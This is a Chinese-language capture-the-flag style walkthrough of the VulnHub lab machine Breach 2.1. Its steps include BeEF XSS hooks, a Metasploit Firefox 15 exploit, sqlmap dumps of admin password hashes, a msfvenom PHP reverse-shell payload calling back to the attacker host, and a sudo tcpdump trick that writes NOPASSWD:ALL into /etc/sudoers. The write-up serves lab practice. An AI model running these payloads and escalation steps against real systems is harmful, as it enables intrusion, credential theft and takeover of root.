vulnhub靶机:Breach 2.1详细过程
下载
下载地址:https://www.vulnhub.com/entry/breach-21,159/
修改网络模式
根据靶机的描述得知该靶机适用于静态ip,即192.168.110.151;配置虚拟机的虚拟网络编辑器的仅主机模式,将其子网IP配置在110网段,并将攻击机kali和靶机也设置为仅主机模式
端口扫描
nmap -A -p- 192.168.110.151
发现ssh服务开启,尝试ssh连接
ssh 192.168.110.151 -p 65535
得到一个用户名和密码
Peter
inthesource
使用ssh远程连接Peter用户,却发现连接断开
ssh peter@192.168.110.151 -p 65535
重新扫描靶机开放的端口,发现又开放了一个80端口
nmap -sV -p- 192.168.110.151
访问网站
BEEF提示或许可以使用 beef-xss 这个xss工具
目录扫描
使用dirsearch对其目录扫描 发现两个目录 /blog /images
python3 dirsearch.py -u "192.168.110.151" -x 403
访问 /blog
访问 /image
get shell
回到刚才的页面,通过验证注册框存在xss
<script>alert(111)</script>
这里需要用到之前提到的工具 beef-xss 来 getshell
如果没有,在kali上安装该工具
sudo apt install beef-xss
beef-xss
需要设置一个密码
默认用户名 beef 完成登录
根据提示信息 我们注册框输入的xss语句如下,将127.0.0.1改成kali的ip地址
<script src="http://127.0.0.1:3000/hook.js"></script>
<script src="http://192.168.110.128:3000/hook.js"></script>
提交成功之后访问 http://192.168.110.151/blog/members.html 即可触发漏洞
访问:http://192.168.110.128:3000/ui/panel,可以看到Kali和靶机都已上线,点击Members后kali会上线,靶机需要过一会才会上线
可以看到该网站的火狐版本很低 Firefox/15.0 可以利用利用版本漏洞
查找存在的漏洞
searchsploit firefox 15
发现了符合的漏洞,并且可以msf利用
msfconsole
search firefox 15
use 12
show options
set uripath 123456(beef-xss设置密码)
set lhost 192.168.110.128
run
给出一个url,将给出中的url在浏览器中设置重定向访问
可以在msf中看到会话已经建立 ,速度较慢,需等待一些时间
因为通过 firefox_proto_crmfrequest 得到的shell不稳定,因此我们需要shell持久化
search post shell to meterpreter
use post/multi/manage/shell_to_meterpreter
options
set lhost 192.168.110.128
这时要再次点击 Execute按钮
根据新建立的 session Id 来设置 shell_to_meterpreter 的 options 中 session值
一旦建立session 立刻输入run 执行命令
输入sessions检查是否成功 直到看到meterpreter的session建立
获取shell
sessions -i 6
shell
whoami
cat /etc/passwd 发现了两个用户 milton blumbergh
sudo -l 将两个用户更新至user.list
milton用户提权
因为之前Peter用户无法ssh连接,查看相关配置
ls .ssh -al
ls /etc | grep ssh
ls /etc/ssh -al
sshd_config 是客户端的ssh配置文件,在文件末尾发现,ssh 连接过程会强制执行名为 startme 的程序,推测其与 ssh 无法成功连接有关
cat /etc/ssh/sshd_config
查看 startme 内容,其内容是启动了apache服务
cat /usr/bin/startme
覆盖 .bashrc 文件后,可以在ssh连接后可以保持shell
echo 'exec /bin/bash' > .bashrc
查看网站目录,看到html2目录
ls /var/www -al
在其目录中存在 oscommerec
ls /var/www/html2
html2 可能是一个新的web站点
查看靶机的网络信息
netstat -anlpt
发现一个2323端口
尝试使用telnet连接 显示了连接过程中的全部信息
telnet 127.0.0.1 2323
用google查询 发现这个地点位于Houston,作为密码输入
用户名的话也就是之前/etc/passwd文件中的用户名
经尝试用户名为 milton
我们需要回答一个问题:这个订书机是谁的
我们需要在目录下寻找关键词stapler
cd /usr
grep -rno stapler
发现一个 cd.py 文件 查看其内容
答案是 mine
再次使用telnet连接2323端口
登录成功 实现milton用户提权
blumbergh用户提权
再次查看网络信息,出现了8888端口
netstat -tln
尝试访问,点击 oscommerce
对其目录扫描 发现了一个登录页面
python3 dirsearch.py -u "http://192.168.110.151:8888/oscommerce/"
在配置文件中发现,mysql数据库的root用户并没有设置密码
使用sqlmap进行读取数据
sqlmap -u http://192.168.110.151/blog/index.php?search=1 --batch
sqlmap -u http://192.168.110.151/blog/index.php?search=1 --dbs --batch
sqlmap -u http://192.168.110.151/blog/index.php?search=1 -D oscommerce --tables --batch
sqlmap -u http://192.168.110.151/blog/index.php?search=1 -D oscommerce -T osc_administrators --columns --batch
sqlmap -u http://192.168.110.151/blog/index.php?search=1 -D oscommerce -T osc_administrators -C user_name,user_password --dump --batch
得到管理员密码的哈希值,解密
四处翻翻发现一个上传文件的位置,上传文件
在 include目录下面找到了一个可写的目录
使用 MSF 生成反弹shell木马,并上传到靶机中
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=9999 -f raw -o shell.php
MSF 设置监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.110.128
set lport 9999
run
获取交互式shell,发现此时用户为blumbergh,依旧是低权限
shell
python -c "import pty;pty.spawn('/bin/bash')"
sudo -l
切换到 tmp 目录,构造1.sh 脚本文件以实现提权,然后执行GTOFbins中给出的 sudo 命令,实现脚本利用
cd /tmp
echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/test && chmod +x /tmp/test
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/test -Z root
sudo su
提权成功